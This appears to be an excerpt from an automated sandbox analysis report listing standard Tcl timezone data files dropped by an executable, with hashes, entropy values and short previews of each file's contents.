Preview:	# created by tools/tclZIC.tcl - do not edit..set TZData(:America/Montevideo) {. {-9223372036854775808 -13484 0 LMT}. {-2256668116 -13484 0 MMT}. {-1567455316 -12600 0 UYT}. {-1459542600 -10800 1 UYHST}. {-1443819600 -12600 0 UYT}. {-1428006600 -10800 1 UYHST}. {-1412283600 -12600 0 UYT}. {-1396470600 -10800 1 UYHST}. {-1380747600 -12600 0 UYT}. {-1141590600 -10800 1 UYHST}. {-1128286800 -12600 0 UYT}. {-1110141000 -10800 1 UYHST}. {-1096837200 -12600 0 UYT}. {-1078691400 -10800 1 UYHST}. {-1065387600 -12600 0 UYT}. {-1046637000 -10800 1 UYHST}. {-1033938000 -12600 0 UYT}. {-1015187400 -10800 1 UYHST}. {-1002488400 -12600 0 UYT}. {-983737800 -10800 1 UYHST}. {-971038800 -12600 0 UYT}. {-952288200 -10800 1 UYHST}. {-938984400 -12600 0 UYT}. {-920838600 -10800 1 UYHST}. {-907534800 -12600 0 UYT}. {-896819400 -10800 1 UYHST}. {-853623000 -10800 0 UYT}. {-853621200 -7200 1 UYST}. {-845848800 -10800 0 UYT}

C:\Users\user\AppData\Local\Temp\_MEI77202\tcl\tzdata\America\Montreal

Download File

Process:	C:\Users\user\AppData\Local\Temp\1029920001\bf9240674a.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	185
Entropy (8bit):	4.696915330047381
Encrypted:	false
SSDEEP:	3:SlEVFRKvJT8QFCZaMuUyqx0qMKLRXIVAIg20qMKLRI62IAcGEzQ21h4IAcGEqMKR:SlSWB9IZaM3y7RQ+VAIgpRQ+6290zQg2
MD5:	F4631583229AD8B12C548E624AAF4A9F
SHA1:	C56022CEACBD910C9CBF8C39C974021294AEE9DA
SHA-256:	884575BE85D1276A1AE3426F33153B3D4787AC5238FDBE0991C6608E7EB0DF07
SHA-512:	48FB9910D8A75AD9451C860716746D38B29319CA04DF9E8690D62FB875A5BEBCC7A8C546A60878821BD68A83271C69671D483C3133E4F807F2C3AC899CEBF065
Malicious:	false
Reputation:	unknown
Preview:	# created by tools/tclZIC.tcl - do not edit.if {![info exists TZData(America/Toronto)]} {. LoadTimeZoneFile America/Toronto.}.set TZData(:America/Montreal) $TZData(:America/Toronto).

C:\Users\user\AppData\Local\Temp\_MEI77202\tcl\tzdata\America\Montserrat

Download File

Process:	C:\Users\user\AppData\Local\Temp\1029920001\bf9240674a.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	205
Entropy (8bit):	4.865859395466201
Encrypted:	false
SSDEEP:	6:SlSWB9IZaM3y7eoFVAIgpeX290zQ1HK90e/:MBaIMY9QpI290zQ490O
MD5:	705E51A8FB38AA8F9714256AFB55DA8A
SHA1:	97D96BE4C08F128E739D541A43057F08D24DDDCF
SHA-256:	0FED15D7D58E8A732110FF6765D0D148D15ACBB0251EE867CE7596933E999865
SHA-512:	4D7E42ECDB16F7A8A62D9EDA1E365325F3CBFAA1EF0E9FEE2790E24BA8DEAAA716D41F9389B849C69DC3973DA61D575146932FB2C8AC81579C65C18E45AE386E
Malicious:	false
Reputation:	unknown
Preview:	# created by tools/tclZIC.tcl - do not edit.if {![info exists TZData(America/Port_of_Spain)]} {. LoadTimeZoneFile America/Port_of_Spain.}.set TZData(:America/Montserrat) $TZData(:America/Port_of_Spain).

C:\Users\user\AppData\Local\Temp\_MEI77202\tcl\tzdata\America\Nassau

Download File

Process:	C:\Users\user\AppData\Local\Temp\1029920001\bf9240674a.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	8260
Entropy (8bit):	3.7353311910027376
Encrypted:	false
SSDEEP:	96:JUzoaC3Xm8sHRwvOTFhP5S+ijFnRaJeaX1eyDt:Gzorn+qvOTFhPI1jFIL
MD5:	6F9F530A792FC34E2B0CEE4BC3DB3809
SHA1:	4DF8A4A6993E47DD5A710BEE921D88FEF44858E7
SHA-256:	9F62117DDA0A21D37B63C9083B3C50572399B22D640262F427D68123078B32F9
SHA-512:	C2BF93FDBE8430113FA63561D1A08145DCF31CD679AB7230098993C7A19EF0F29F486C962656F8A62505CB1BFE993FBD3BB5FB0BAE7B6E7E190DE2865C445408
Malicious:	false
Reputation:	unknown
Preview:	# created by tools/tclZIC.tcl - do not edit..set TZData(:America/Nassau) {. {-9223372036854775808 -18570 0 LMT}. {-1825095030 -18000 0 EST}. {-179341200 -14400 1 EDT}. {-163620000 -18000 0 EST}. {-147891600 -14400 1 EDT}. {-131565600 -18000 0 EST}. {-116442000 -14400 1 EDT}. {-100116000 -18000 0 EST}. {-84387600 -14400 1 EDT}. {-68666400 -18000 0 EST}. {-52938000 -14400 1 EDT}. {-37216800 -18000 0 EST}. {-21488400 -14400 1 EDT}. {-5767200 -18000 0 EST}. {9961200 -14400 1 EDT}. {25682400 -18000 0 EST}. {41410800 -14400 1 EDT}. {57736800 -18000 0 EST}. {73465200 -14400 1 EDT}. {89186400 -18000 0 EST}. {104914800 -14400 1 EDT}. {120636000 -18000 0 EST}. {136364400 -14400 1 EDT}. {152085600 -18000 0 EST}. {167814000 -14400 1 EDT}. {183535200 -18000 0 EST}. {189320400 -18000 0 EST}. {199263600 -14400 1 EDT}. {215589600 -18000 0 EST}. {230713200 -14400 1 EDT}. {247039200 -18000 0 EST}. {262767600

C:\Users\user\AppData\Local\Temp\_MEI77202\tcl\tzdata\America\New_York

Download File

Process:	C:\Users\user\AppData\Local\Temp\1029920001\bf9240674a.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	11004
Entropy (8bit):	3.725417189649631
Encrypted:	false
SSDEEP:	96:iNXYUiZrbgZ8UMr5UwdaC3Xm8sHRwvOTFhP5S+ijFnRaJeaX1eyDt:23iZrbgZ8UMr2wdrn+qvOTFhPI1jFIL
MD5:	C9D78AB6CF796A9D504BE2903F00B49C
SHA1:	A6C0E4135986A1A6F36B62276BFAB396DA1A4A9B
SHA-256:	1AB6E47D96BC34F57D56B936233F58B5C748B65E06AFF6449C3E3C317E411EFE
SHA-512:	6D20B13F337734CB58198396477B7C0E9CB89ED4D7AB328C22A4A528CAF187D10F42540DBB4514A0C139E6F4AE9A1A71AED02E3735D1D4F12C5314014C0C1EB6
Malicious:	false
Reputation:	unknown
Preview:	# created by tools/tclZIC.tcl - do not edit..set TZData(:America/New_York) {. {-9223372036854775808 -17762 0 LMT}. {-2717650800 -18000 0 EST}. {-1633280400 -14400 1 EDT}. {-1615140000 -18000 0 EST}. {-1601830800 -14400 1 EDT}. {-1583690400 -18000 0 EST}. {-1577905200 -18000 0 EST}. {-1570381200 -14400 1 EDT}. {-1551636000 -18000 0 EST}. {-1536512400 -14400 1 EDT}. {-1523210400 -18000 0 EST}. {-1504458000 -14400 1 EDT}. {-1491760800 -18000 0 EST}. {-1473008400 -14400 1 EDT}. {-1459706400 -18000 0 EST}. {-1441558800 -14400 1 EDT}. {-1428256800 -18000 0 EST}. {-1410109200 -14400 1 EDT}. {-1396807200 -18000 0 EST}. {-1378659600 -14400 1 EDT}. {-1365357600 -18000 0 EST}. {-1347210000 -14400 1 EDT}. {-1333908000 -18000 0 EST}. {-1315155600 -14400 1 EDT}. {-1301853600 -18000 0 EST}. {-1283706000 -14400 1 EDT}. {-1270404000 -18000 0 EST}. {-1252256400 -14400 1 EDT}. {-1238954400 -18000 0 EST}. {-122080680

C:\Users\user\AppData\Local\Temp\_MEI77202\tcl\tzdata\America\Nipigon

Download File

Process:	C:\Users\user\AppData\Local\Temp\1029920001\bf9240674a.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	7836
Entropy (8bit):	3.7462966187089535
Encrypted:	false
SSDEEP:	96:rEa2raC3Xm8sHRwvOTFhP5S+ijFnRaJeaX1eyDt:rYrrn+qvOTFhPI1jFIL
MD5:	3D389AA51D3E29E8A1E8ED07646AA0DD
SHA1:	2E3DF9406B14662ADEDDC0F891CD81DF23D98157
SHA-256:	3A0FB897E5CCB31B139E009B909053DCE36BB5791ACF23529D874AFA9F0BB405
SHA-512:	AFF7B30355ECB6EBD43D1E6C943C250AB98CC82BDC8DDC7595769E4CE188A23591AEFCF18A028CC6479CF6AA20F65980E37C74F6CEE907537366136FAF29B66E
Malicious:	false
Reputation:	unknown
Preview:	# created by tools/tclZIC.tcl - do not edit..set TZData(:America/Nipigon) {. {-9223372036854775808 -21184 0 LMT}. {-2366734016 -18000 0 EST}. {-1632070800 -14400 1 EDT}. {-1615140000 -18000 0 EST}. {-923252400 -14400 1 EDT}. {-880218000 -14400 0 EWT}. {-769395600 -14400 1 EPT}. {-765396000 -18000 0 EST}. {136364400 -14400 1 EDT}. {152085600 -18000 0 EST}. {167814000 -14400 1 EDT}. {183535200 -18000 0 EST}. {199263600 -14400 1 EDT}. {215589600 -18000 0 EST}. {230713200 -14400 1 EDT}. {247039200 -18000 0 EST}. {262767600 -14400 1 EDT}. {278488800 -18000 0 EST}. {294217200 -14400 1 EDT}. {309938400 -18000 0 EST}. {325666800 -14400 1 EDT}. {341388000 -18000 0 EST}. {357116400 -14400 1 EDT}. {372837600 -18000 0 EST}. {388566000 -14400 1 EDT}. {404892000 -18000 0 EST}. {420015600 -14400 1 EDT}. {436341600 -18000 0 EST}. {452070000 -14400 1 EDT}. {467791200 -18000 0 EST}. {483519600 -14400 1 EDT}.

C:\Users\user\AppData\Local\Temp\_MEI77202\tcl\tzdata\America\Nome

Download File

Process:	C:\Users\user\AppData\Local\Temp\1029920001\bf9240674a.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	8404
Entropy (8bit):	3.8859165156616937
Encrypted:	false
SSDEEP:	96:OMmWQm825s/Q7Ddh5sBPyNsSLFOMM/EowALVZVmWa86Eac8rQ:OMmWQmI/4h5sBPy+CMt/ElALLVuAH
MD5:	ECBBCB3C63125333C1339EFF2C02BACE
SHA1:	293B8D9314F57F54A7C0457C0C661A5DB2EFE026
SHA-256:	9739527976A9FF2753C1D986C3901F9A537E1F9387BE2543BB00257DD9D8881A
SHA-512:	AB22FC48ABC2B773522F37B929961774B80B1EF4CE76837AEDB1E6640DEB4D8C46CE89E3A24854F2D684579EB1BD9790AF9EBDFF3556A621ECB2AF66F32EC256
Malicious:	false
Reputation:	unknown
Preview:	# created by tools/tclZIC.tcl - do not edit..set TZData(:America/Nome) {. {-9223372036854775808 46701 0 LMT}. {-3225358701 -39698 0 LMT}. {-2188947502 -39600 0 NST}. {-883573200 -39600 0 NST}. {-880196400 -36000 1 NWT}. {-769395600 -36000 1 NPT}. {-765374400 -39600 0 NST}. {-757342800 -39600 0 NST}. {-86878800 -39600 0 BST}. {-31496400 -39600 0 BST}. {-21466800 -36000 1 BDT}. {-5745600 -39600 0 BST}. {9982800 -36000 1 BDT}. {25704000 -39600 0 BST}. {41432400 -36000 1 BDT}. {57758400 -39600 0 BST}. {73486800 -36000 1 BDT}. {89208000 -39600 0 BST}. {104936400 -36000 1 BDT}. {120657600 -39600 0 BST}. {126709200 -36000 1 BDT}. {152107200 -39600 0 BST}. {162392400 -36000 1 BDT}. {183556800 -39600 0 BST}. {199285200 -36000 1 BDT}. {215611200 -39600 0 BST}. {230734800 -36000 1 BDT}. {247060800 -39600 0 BST}. {262789200 -36000 1 BDT}. {278510400 -39600 0 BST}. {294238800 -36000 1 BDT}. {309960000 -3

C:\Users\user\AppData\Local\Temp\_MEI77202\tcl\tzdata\America\Noronha

Download File

Process:	C:\Users\user\AppData\Local\Temp\1029920001\bf9240674a.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	1368
Entropy (8bit):	4.01376478240381
Encrypted:	false
SSDEEP:	24:cQ8eHChYsS590B74LmCUGXx1bvzbsgEfKaccbMuSEh:5ghYsSDK74LmCUGB1bvzbsgEfK1couSK
MD5:	38D2ADBD4CC7A54D3EDDC120BE4E32E9
SHA1:	07AEFC41171850277C4ECF30B3C5108ED196926D
SHA-256:	03C9461769527F6D7639E79CBACB71452B01BA08172D1105D2AC36458622F0D7
SHA-512:	F6FBE1E1AB9D66A12DEEAC6FA5536B0ACFC9F777D5E270B05BD3144B1065AE02BEC157A57686F5EDA443498BA1B01B9F445C902ADCB33412FE73036AD3B29CFE
Malicious:	false
Reputation:	unknown
Preview:	# created by tools/tclZIC.tcl - do not edit..set TZData(:America/Noronha) {. {-9223372036854775808 -7780 0 LMT}. {-1767217820 -7200 0 FNT}. {-1206961200 -3600 1 FNST}. {-1191366000 -7200 0 FNT}. {-1175378400 -3600 1 FNST}. {-1159830000 -7200 0 FNT}. {-633823200 -3600 1 FNST}. {-622072800 -7200 0 FNT}. {-602287200 -3600 1 FNST}. {-591836400 -7200 0 FNT}. {-570751200 -3600 1 FNST}. {-560214000 -7200 0 FNT}. {-539128800 -3600 1 FNST}. {-531356400 -7200 0 FNT}. {-191368800 -3600 1 FNST}. {-184201200 -7200 0 FNT}. {-155167200 -3600 1 FNST}. {-150073200 -7200 0 FNT}. {-128901600 -3600 1 FNST}. {-121129200 -7200 0 FNT}. {-99957600 -3600 1 FNST}. {-89593200 -7200 0 FNT}. {-68421600 -3600 1 FNST}. {-57970800 -7200 0 FNT}. {499744800 -3600 1 FNST}. {511232400 -7200 0 FNT}. {530589600 -3600 1 FNST}. {540262800 -7200 0 FNT}. {562125600 -3600 1 FNST}. {571194000 -7200 0 FNT}. {592970400 -3600 1 FNST}. {6

C:\Users\user\AppData\Local\Temp\_MEI77202\tcl\tzdata\America\North_Dakota\Beulah

Download File

Process:	C:\Users\user\AppData\Local\Temp\1029920001\bf9240674a.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	8278
Entropy (8bit):	3.7975723806562063
Encrypted:	false
SSDEEP:	192:raF2dVtXwDTIRqfhXbdXvDXpVXVto//q7u379zlq3LtVBaANIsrXHEK5Dac5TE35:OFcVtXwDTIRqfh57Tlto//q7u379zlqw
MD5:	15AABAE9ABE4AF7ABEADF24A510E9583
SHA1:	3DEF11310D02F0492DF09591A039F46A8A72D086
SHA-256:	B328CC893D217C4FB6C84AA998009940BFBAE240F944F40E7EB900DEF1C7A5CF
SHA-512:	7A12A25EB6D6202C47CFDD9F3CE71342406F0EDA3D1D68B842BCFE97EFF1F2E0C11AD34D4EE0A61DF7E0C7E8F400C8CCA73230BDB3C677F8D15CE5CBA44775D7
Malicious:	false
Reputation:	unknown
Preview:	# created by tools/tclZIC.tcl - do not edit..set TZData(:America/North_Dakota/Beulah) {. {-9223372036854775808 -24427 0 LMT}. {-2717643600 -25200 0 MST}. {-1633273200 -21600 1 MDT}. {-1615132800 -25200 0 MST}. {-1601823600 -21600 1 MDT}. {-1583683200 -25200 0 MST}. {-880210800 -21600 1 MWT}. {-769395600 -21600 1 MPT}. {-765388800 -25200 0 MST}. {-84380400 -21600 1 MDT}. {-68659200 -25200 0 MST}. {-52930800 -21600 1 MDT}. {-37209600 -25200 0 MST}. {-21481200 -21600 1 MDT}. {-5760000 -25200 0 MST}. {9968400 -21600 1 MDT}. {25689600 -25200 0 MST}. {41418000 -21600 1 MDT}. {57744000 -25200 0 MST}. {73472400 -21600 1 MDT}. {89193600 -25200 0 MST}. {104922000 -21600 1 MDT}. {120643200 -25200 0 MST}. {126694800 -21600 1 MDT}. {152092800 -25200 0 MST}. {162378000 -21600 1 MDT}. {183542400 -25200 0 MST}. {199270800 -21600 1 MDT}. {215596800 -25200 0 MST}. {230720400 -21600 1 MDT}. {247046400 -25200 0 MS

C:\Users\user\AppData\Local\Temp\_MEI77202\tcl\tzdata\America\North_Dakota\Center

Download File

Process:	C:\Users\user\AppData\Local\Temp\1029920001\bf9240674a.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	8278
Entropy (8bit):	3.7834920003907664
Encrypted:	false
SSDEEP:	192:LF2dK7X0N41+IestuNEbYkzbXwDTIRqfhXbdXvDXpVXVto//q7u379zlq3LtVBaT:LFcK7X0N41+IestuNEbYkzbXwDTIRqfK
MD5:	AC804124F4CE4626F5C1FDA2BC043011
SHA1:	4B3E8CC90671BA543112CEE1AB5450C6EA4615DF
SHA-256:	E90121F7D275FDCC7B8DCDEC5F8311194D432510FEF5F5F0D6F211A4AACB78EF
SHA-512:	056EF65693C16CB58EC5A223528C636346DB37B75000397D03663925545979792BBC50B20B5AA20139ECE9A9D6B73DA80C2319AA4F0609D6FC1A6D30D0567C58
Malicious:	false
Reputation:	unknown
Preview:	# created by tools/tclZIC.tcl - do not edit..set TZData(:America/North_Dakota/Center) {. {-9223372036854775808 -24312 0 LMT}. {-2717643600 -25200 0 MST}. {-1633273200 -21600 1 MDT}. {-1615132800 -25200 0 MST}. {-1601823600 -21600 1 MDT}. {-1583683200 -25200 0 MST}. {-880210800 -21600 1 MWT}. {-769395600 -21600 1 MPT}. {-765388800 -25200 0 MST}. {-84380400 -21600 1 MDT}. {-68659200 -25200 0 MST}. {-52930800 -21600 1 MDT}. {-37209600 -25200 0 MST}. {-21481200 -21600 1 MDT}. {-5760000 -25200 0 MST}. {9968400 -21600 1 MDT}. {25689600 -25200 0 MST}. {41418000 -21600 1 MDT}. {57744000 -25200 0 MST}. {73472400 -21600 1 MDT}. {89193600 -25200 0 MST}. {104922000 -21600 1 MDT}. {120643200 -25200 0 MST}. {126694800 -21600 1 MDT}. {152092800 -25200 0 MST}. {162378000 -21600 1 MDT}. {183542400 -25200 0 MST}. {199270800 -21600 1 MDT}. {215596800 -25200 0 MST}. {230720400 -21600 1 MDT}. {247046400 -25200 0 MS

C:\Users\user\AppData\Local\Temp\_MEI77202\tcl\tzdata\America\North_Dakota\New_Salem

Download File

Process:	C:\Users\user\AppData\Local\Temp\1029920001\bf9240674a.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	8281
Entropy (8bit):	3.795939700557522
Encrypted:	false
SSDEEP:	192:uF2dyuNEbYkzbXwDTIRqfhXbdXvDXpVXVto//q7u379zlq3LtVBaANIsrXHEK5Da:uFcyuNEbYkzbXwDTIRqfh57Tlto//q7k
MD5:	E26FC508DFD73B610C5543487C763FF5
SHA1:	8FBDE67AF561037AAA2EDF93E9456C7E534F4B5A
SHA-256:	387D3C57EDE8CCAAD0655F19B35BC0D124C016D16F06B6F2498C1151E4792778
SHA-512:	8A10B7370D1521EDF18AB4D5192C930ABC68AB9AE718ADF3D175EACE9A1F5DAC690A76B02EFB4059374761962D8C2660497F8E951DFE9812FB3CFCFDF9165E45
Malicious:	false
Reputation:	unknown
Preview:	# created by tools/tclZIC.tcl - do not edit..set TZData(:America/North_Dakota/New_Salem) {. {-9223372036854775808 -24339 0 LMT}. {-2717643600 -25200 0 MST}. {-1633273200 -21600 1 MDT}. {-1615132800 -25200 0 MST}. {-1601823600 -21600 1 MDT}. {-1583683200 -25200 0 MST}. {-880210800 -21600 1 MWT}. {-769395600 -21600 1 MPT}. {-765388800 -25200 0 MST}. {-84380400 -21600 1 MDT}. {-68659200 -25200 0 MST}. {-52930800 -21600 1 MDT}. {-37209600 -25200 0 MST}. {-21481200 -21600 1 MDT}. {-5760000 -25200 0 MST}. {9968400 -21600 1 MDT}. {25689600 -25200 0 MST}. {41418000 -21600 1 MDT}. {57744000 -25200 0 MST}. {73472400 -21600 1 MDT}. {89193600 -25200 0 MST}. {104922000 -21600 1 MDT}. {120643200 -25200 0 MST}. {126694800 -21600 1 MDT}. {152092800 -25200 0 MST}. {162378000 -21600 1 MDT}. {183542400 -25200 0 MST}. {199270800 -21600 1 MDT}. {215596800 -25200 0 MST}. {230720400 -21600 1 MDT}. {247046400 -25200 0

C:\Users\user\AppData\Local\Temp\_MEI77202\tcl\tzdata\America\Ojinaga

Download File

Process:	C:\Users\user\AppData\Local\Temp\1029920001\bf9240674a.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	6621
Entropy (8bit):	3.7945318113967823
Encrypted:	false
SSDEEP:	48:5gUFM/6M/Mp5tyTc8Ln4ypZ9giGuWGwZIoktiz+hL5Cw5feQ5BT5rBSNNOVQoh/5:KJNfzo+C2mWBNQMsmNTxf6AeO+cblX
MD5:	D88A28F381C79410D816F8D2D1610A02
SHA1:	81949A1CACD5907CA5A8649385C03813EEFCDDE0
SHA-256:	F65C0F8532387AFE703FACDEE325BF8D7F3D1232DEE92D65426FF917DD582CB3
SHA-512:	9A9B0C65ECDFF690EF2933B323B3A1CF2D67D0A43F285BB9FEEFF275316148A07F5AC044C48F64E3D8CFA7C1DE44AF220A6855DC01225F8BFFF63AEC946B944A
Malicious:	false
Reputation:	unknown
Preview:	# created by tools/tclZIC.tcl - do not edit..set TZData(:America/Ojinaga) {. {-9223372036854775808 -25060 0 LMT}. {-1514739600 -25200 0 MST}. {-1343066400 -21600 0 CST}. {-1234807200 -25200 0 MST}. {-1220292000 -21600 0 CST}. {-1207159200 -25200 0 MST}. {-1191344400 -21600 0 CST}. {820476000 -21600 0 CST}. {828864000 -18000 1 CDT}. {846399600 -21600 0 CST}. {860313600 -18000 1 CDT}. {877849200 -21600 0 CST}. {883634400 -21600 0 CST}. {891766800 -21600 0 MDT}. {909302400 -25200 0 MST}. {923216400 -21600 1 MDT}. {941356800 -25200 0 MST}. {954666000 -21600 1 MDT}. {972806400 -25200 0 MST}. {989139600 -21600 1 MDT}. {1001836800 -25200 0 MST}. {1018170000 -21600 1 MDT}. {1035705600 -25200 0 MST}. {1049619600 -21600 1 MDT}. {1067155200 -25200 0 MST}. {1081069200 -21600 1 MDT}. {1099209600 -25200 0 MST}. {1112518800 -21600 1 MDT}. {1130659200 -25200 0 MST}. {1143968400 -21600 1 MDT}. {1162108800 -2520

C:\Users\user\AppData\Local\Temp\_MEI77202\tcl\tzdata\America\Panama

Download File

Process:	C:\Users\user\AppData\Local\Temp\1029920001\bf9240674a.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	179
Entropy (8bit):	4.924365872261203
Encrypted:	false
SSDEEP:	3:SlEVFRKvJT8QFx52IAcGEu5fcXGm2OHGf8xYvX5BidhZSsc1HRX1vain:SlSWB9X5290WTm2OHDxYP5GhZE3X1iin
MD5:	771816CABF25492752C5DA76C5EF74A5
SHA1:	6494F467187F99C9A51AB670CD8DC35078D63904
SHA-256:	0E323D15EA84D4B6E838D5DCD99AEE68666AF97A770DA2AF84B7BDCA4AB1DBBA
SHA-512:	C32D918E121D800B9DFD5CE1F13A4BF2505C0EDCE0085639C8EDF48073E0888906F1A28EF375BDCF549DB14CD33F7C405E28BC35DDF22445C224FBC64146B4EC
Malicious:	false
Reputation:	unknown
Preview:	# created by tools/tclZIC.tcl - do not edit..set TZData(:America/Panama) {. {-9223372036854775808 -19088 0 LMT}. {-2524502512 -19176 0 CMT}. {-1946918424 -18000 0 EST}.}.

C:\Users\user\AppData\Local\Temp\_MEI77202\tcl\tzdata\America\Pangnirtung

Download File

Process:	C:\Users\user\AppData\Local\Temp\1029920001\bf9240674a.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	7484
Entropy (8bit):	3.7727467213469943
Encrypted:	false
SSDEEP:	192:72KFEUlpde9pXbO53or0gqvOTFhPI1jFIL:y0r3+
MD5:	E740F56827130C3B87CCB84D66AF0392
SHA1:	60830B872B23FB0E3231156FECCAB693D39AA6D8
SHA-256:	775289D3F8A386A22F920BB48476681D4AC3BCCFCC87F51601B29978D6A5D6B6
SHA-512:	16594FC519ADC3995015B16EB9C7C8E552430AE376DE2089F45E2360CC875A0FA0CE0DEDAD888E497E4A8C7CD495895ADEC522F18DA85A1F264373A441AFFD9C
Malicious:	false
Reputation:	unknown
Preview:	# created by tools/tclZIC.tcl - do not edit..set TZData(:America/Pangnirtung) {. {-9223372036854775808 0 0 zzz}. {-1546300800 -14400 0 AST}. {-880221600 -10800 1 AWT}. {-769395600 -10800 1 APT}. {-765399600 -14400 0 AST}. {-147902400 -7200 1 ADDT}. {-131572800 -14400 0 AST}. {325663200 -10800 1 ADT}. {341384400 -14400 0 AST}. {357112800 -10800 1 ADT}. {372834000 -14400 0 AST}. {388562400 -10800 1 ADT}. {404888400 -14400 0 AST}. {420012000 -10800 1 ADT}. {436338000 -14400 0 AST}. {452066400 -10800 1 ADT}. {467787600 -14400 0 AST}. {483516000 -10800 1 ADT}. {499237200 -14400 0 AST}. {514965600 -10800 1 ADT}. {530686800 -14400 0 AST}. {544600800 -10800 1 ADT}. {562136400 -14400 0 AST}. {576050400 -10800 1 ADT}. {594190800 -14400 0 AST}. {607500000 -10800 1 ADT}. {625640400 -14400 0 AST}. {638949600 -10800 1 ADT}. {657090000 -14400 0 AST}. {671004000 -10800 1 ADT}. {688539600 -14400 0 AST}. {702

C:\Users\user\AppData\Local\Temp\_MEI77202\tcl\tzdata\America\Paramaribo

Download File

Process:	C:\Users\user\AppData\Local\Temp\1029920001\bf9240674a.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	272
Entropy (8bit):	4.78889293057406
Encrypted:	false
SSDEEP:	6:SlSWB9X5290oldJm2OHeke3FIMVTvVWKGOT/5g/VVFA:MBp5290olLmdHeV3qSvWOTc/q
MD5:	C8945B3FDD3BAAA0693870F3F85A1D38
SHA1:	A35CC1D2B8D3ABE8AF40F8530D62BB165B9E078F
SHA-256:	DF43D6E1F7F71D633C5112376B2E9FE089CDB7CB9876EAB5E38AF9B0772CBF6F
SHA-512:	AEAFA7561501C125C66F7710C7EBAFD9C56F4FF4B347D868D686A1877253DB074969FC531DF4E475A14DC91C15D39146718A8E5C86E4A2129C478BCF57137227
Malicious:	false
Reputation:	unknown
Preview:	# created by tools/tclZIC.tcl - do not edit..set TZData(:America/Paramaribo) {. {-9223372036854775808 -13240 0 LMT}. {-1861906760 -13252 0 PMT}. {-1104524348 -13236 0 PMT}. {-765317964 -12600 0 NEGT}. {185686200 -12600 0 SRT}. {465449400 -10800 0 SRT}.}.

C:\Users\user\AppData\Local\Temp\_MEI77202\tcl\tzdata\America\Phoenix

Download File

Process:	C:\Users\user\AppData\Local\Temp\1029920001\bf9240674a.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	479
Entropy (8bit):	4.379302206927978
Encrypted:	false
SSDEEP:	12:MBp5290OQmdH514YPFotFg4tFQxRgmjtFdRb2:cQCeksFsFgcFQxBhF7b2
MD5:	1B5C5CBC4168FCCC9100487D3145AF6D
SHA1:	6E9E3074B783108032469C8E601D2C63A573B840
SHA-256:	9E28F87C0D9EE6AD6791A220742C10C135448965E1F66A7EB04D6477D8FA11B0
SHA-512:	4A6527FF5C7F0A0FDC574629714399D9A475EDC1338BF4C9EEEEDCC8CA23E14D2DE4DCA421D46FABA813A65236CD7B8ADBE103B641A763C6BC508738BF73A58C
Malicious:	false
Reputation:	unknown
Preview:	# created by tools/tclZIC.tcl - do not edit..set TZData(:America/Phoenix) {. {-9223372036854775808 -26898 0 LMT}. {-2717643600 -25200 0 MST}. {-1633273200 -21600 1 MDT}. {-1615132800 -25200 0 MST}. {-1601823600 -21600 1 MDT}. {-1583683200 -25200 0 MST}. {-880210800 -21600 1 MWT}. {-820519140 -25200 0 MST}. {-796841940 -25200 0 MST}. {-94669200 -25200 0 MST}. {-84380400 -21600 1 MDT}. {-68659200 -25200 0 MST}. {-56221200 -25200 0 MST}.}.

C:\Users\user\AppData\Local\Temp\_MEI77202\tcl\tzdata\America\Port-au-Prince

Download File

Process:	C:\Users\user\AppData\Local\Temp\1029920001\bf9240674a.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	6458
Entropy (8bit):	3.7695898184176624
Encrypted:	false
SSDEEP:	48:5IV1C8phBVSWroLMEbF8xzqXtWl5Hm0RQU+5oaIOWIF4IPWFeB/5udPOcBqYZ4vX:mKXivOTFhP5S+ijFnRaJeaX1eyDt
MD5:	8580CED12AF23BF83DB337E314EE2B6E
SHA1:	333AB24A58F36B9526888BB4A3B8F5135373A62D
SHA-256:	34A7491EB4BDC94BF02D820E47FDE8AAF0D5037B2E71DD15E8FF61409321687E
SHA-512:	4CA6E99E2EDED083B8B543C9471DE61588BD894A2E4C4550D7F47E31824704CFB39B6BA8E1F1B5EEB5A1ABB2242AC2E7EFEFCFA36EBB60BB67BA0130DF7FCDE4
Malicious:	false
Reputation:	unknown
Preview:	# created by tools/tclZIC.tcl - do not edit..set TZData(:America/Port-au-Prince) {. {-9223372036854775808 -17360 0 LMT}. {-2524504240 -17340 0 PPMT}. {-1670483460 -18000 0 EST}. {421218000 -14400 1 EDT}. {436334400 -18000 0 EST}. {452062800 -14400 1 EDT}. {467784000 -18000 0 EST}. {483512400 -14400 1 EDT}. {499233600 -18000 0 EST}. {514962000 -14400 1 EDT}. {530683200 -18000 0 EST}. {546411600 -14400 1 EDT}. {562132800 -18000 0 EST}. {576050400 -14400 1 EDT}. {594194400 -18000 0 EST}. {607500000 -14400 1 EDT}. {625644000 -18000 0 EST}. {638949600 -14400 1 EDT}. {657093600 -18000 0 EST}. {671004000 -14400 1 EDT}. {688543200 -18000 0 EST}. {702453600 -14400 1 EDT}. {719992800 -18000 0 EST}. {733903200 -14400 1 EDT}. {752047200 -18000 0 EST}. {765352800 -14400 1 EDT}. {783496800 -18000 0 EST}. {796802400 -14400 1 EDT}. {814946400 -18000 0 EST}. {828856800 -14400 1 EDT}. {846396000 -18000 0 EST}.

C:\Users\user\AppData\Local\Temp\_MEI77202\tcl\tzdata\America\Port_of_Spain

Download File

Process:	C:\Users\user\AppData\Local\Temp\1029920001\bf9240674a.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	155
Entropy (8bit):	5.077805073731929
Encrypted:	false
SSDEEP:	3:SlEVFRKvJT8QFx52IAcGEuPXGkXGm2OHUnvUdxKzVvwvYv:SlSWB9X5290eSm2OHkzVr
MD5:	8169D55899164E2168EF50E219115727
SHA1:	42848A510C120D4E834BE61FC76A1C539BA88C8A
SHA-256:	6C8718C65F99AB43377609705E773C93F7993FBB3B425E1989E8231308C475AF
